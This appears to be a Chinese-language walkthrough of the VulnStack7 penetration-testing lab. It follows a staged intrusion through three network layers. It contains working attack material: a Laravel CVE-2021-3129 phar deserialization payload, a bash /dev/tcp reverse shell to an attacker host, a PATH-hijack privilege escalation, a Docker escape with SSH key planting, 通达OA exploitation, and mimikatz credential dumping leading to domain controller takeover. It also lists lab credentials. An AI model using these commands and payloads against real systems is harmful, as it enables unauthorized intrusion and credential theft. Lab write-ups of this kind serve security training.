红日靶场 VulnStack7
这是两段时间打的靶场了,所以前后IP不一样。
这样的网络配置
三层域网络在:192.68.93.0的c段
二层网络:有52的网段,也连通三层网络的93段
DMZ:处于192.68.52.0的c段 与kali连通,若是不连通 获取权限后也就是多做一层代理
只用到了 Vmnet1 和6 网卡
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
第一层边界突破
Laravel RCE 写shell
通过访问 http://100.66.189.168:81/ 页面发现是Laravel框架 版本是8.29.0
通过搜索引擎找到此版本存在CVE-2021-3129漏洞
Laravel框架介绍
aravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
漏洞描述如下:
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
影响版本 Laravel<=8.4.2
先使用CVE-2021-3129工具检测是否存在此反序列化漏洞
https://github.com/zhzyker/CVE-2021-3129
这些poc都需要借助phpggc工具脚本来生成,需要在linux下使用。
检测到多条pop都可以利用
漏洞利用过程
利用链子过程
1.生成poc
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
注意在最后加上一个a,不然会不可用
2.发送数据包,先清空日志
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
3.给log增加一次前缀,用于对齐
"viewFile": "AA"
4.发送编码后的POC作为viewFile的值
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=50=00=31=00=52=00=63=00=6D=00=49=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=47=00=7A=00=6B=00=46=00=79=00=39=00=71=00=44=00=71=00=50=00=41=00=6D=00=79=00=66=00=78=00=42=00=68=00=63=00=6C=00=52=00=49=00=5A=00=4E=00=56=00=41=00=77=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
5.再次发包,清空对log中的干扰字符
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
6.进行phar://反序列化 执行phpinfo,需要使用绝对路径
"viewFile":"phar:///var/www/storage/logs/laravel.log/test.txt"
但是我这里失败了,重新发包回去查看,这里报错无法打开流
原理不是很懂,还是使用写好的工具来直接写shell文件
这里使用这个exp来直接写入文件,看了下源码 步骤和前面基本一样,poc直接编码好放在函数里
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
检查成功写入
这里使用哥斯拉来连接结果发现死活连接不上,全部返回为空的信息。最后发现使用3.0以下的版本才能连接,于是去作者网站看到
https://github.com/BeichenDream/Godzilla/releases
想必这个对应木马的poc一定使用的是3.0版本以下提供的webshell
这里使用2.9版本成功连接
发现ifconfig ip add 这些执行都不行
简单的信息收集一下
使用 cat /proc/self/cgroup 命令查看
发现这个奇怪的系统果然是个docker
proc文件系统
proc文件系统是linux 中比较重要的的一个文件系统,在sysfs文件系统没有出现之前,它可以说是用户层获取内核层信息的唯一方式,它是一个一种特殊的、由软件创建的文件系统,proc内的文件并不是真正‘real' 文件,而是一种描述进程信息的伪 文件系统(process information pesudo-file sysrem), 被用来描述系统运行信息(比如系统内存,设备挂载,或者是硬件配置等).常常用来控制或者描述内核信息。
先反弹一个shell到kali上
bash -c "bash -i >& /dev/tcp/192.168.52.128/7869 0>&1"
[
](https://blog.csdn.net/weixin_42730667/article/details/113871447)
这时想要进行docker逃逸,需要提高我们的权限,这个www-data用户权限很低
我们find寻找搜索具有SUID或4000权限的文件,这里发现了一个shell文件,很显眼
find / -perm -u=s -type f 2>/dev/null
进入到home/jobs目录下查看
shell文件能运行
然后利用环境变量劫持提权,这里应该是/bin/bash 多写了个斜杠
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
docker特权模式逃逸+ssh写密钥连接
ubuntu web1 getshell
还是fdisk -l 查看一下挂载目录
然后mkdir 一个break目录
然后mount 挂在break目录上去
此时便可以带着break目录去逃逸使用了
写入定时任务执行wget msf的木马
尝试了多次后发现定时任务文件是写上去了,但是定时任务不执行。
还有一种办法是通过ssh写密钥
首先查看到逃逸主机的ubuntu目录下的 .ssh隐藏文件
生成ssh公钥
然后再.ssh目录下查看pub公钥
写入免密登录密钥,注意写入的格式echo后面空一格
然后ssh连接 成功免密登录
这里发现100.66.189.168主机还有一个网卡 IP为192.168.52.10
上线到msf
生成elf木马
msf开启监听
在ubuntu上下载运行
msf成功上线
查看看到52.10网段的ubuntu1 已经拿下了
真实情况下用proxychain代理出来用namp扫就好了,这里是nat通的就直接扫
可以看到30存在8080端口
第二层网络渗透
ew反向代理+burp两重代理
这个52本来是我VMnet6的nat网卡段,结果我物理机居然VMnet6 IP和这个不一致,这就造成了隔离
不过正好 就类比实际情况的内网隔离了,ok现在用ew反向代理出网,
本来kali通过ubuntu是可以的代理访问到52的,但是各种原因kali本身就在52段,然后这里就直接在win7上用ew代理
首先vps的两个端口要把防火墙打开
-l是我们去连接的,-e是受害机器连接
流量会从666转发到798
然后谷歌配置代理就能访问了
但是谷歌这个SwitchyOmega插件同时配置了socks5代理和burp本地代理就会出问题,所以还是用火狐。
首先配置浏览器两个代理
然后burp在options处设置socks5代理
win7 30getshell
任意用户登录
通达v11的oa,漏洞很多,随便网上找个rce
这里直接是未授权获取登录session
然后抓包访问/general/ 页面添加上session
结果这个靶场的oa授权过期了,md登录上来就喊激活
未授权写文件
直接未授权写入图片马
然后到文件包含的地方执行命令
这里应该有回显才对,应该是系统没授权了 所以显示不了
正常到这就可以rce了的,那么我就直接上线到cs了
第三层域渗透
信息收集
对win7信息收集,发现了一个93新的网段
这里用20扫描出了 10、30、40这三台机器
收集域信息,这是在 dc.whoamianony.org的域
扫描30的主机信息,显然这很可能是DC
in 2012 R2 Datacenter 9600
扫描40的主机信息
Win 7 Professional 7601 SP 1
fscan扫描
内网扫描还是得fscan,用cs 直接upload传过去
fscan扫描结果
扫描整个93的c段
会在当前目录生成一个result.txt 可以查看
PTH横向攻击
ok接下来试着抓密码
用ms15简单的提个权限
导出system.hive和sam.hive后导入到mimikatz 然后直接抓
这里获取到DC的密码和此win7 bunny的明文密码
net use网络映射连接域控
NTML也有可以进行pth攻击,但是有明文了可以直接用net use来连接了
结果一直没连接上不知道为啥
最后发现是tmd命令后面多打了个斜杠 ,难受net use \\DC.WHOAMIANONY.ORG\ipc$ "passwd" /user:"administrator"
直接远程桌面连接域控
结果在win7上可以直接用账号密码就连接上了域控,完成!
pth攻击域控
迁移父进程到弹出的cmd中
也可以直接在远程桌面win7上连接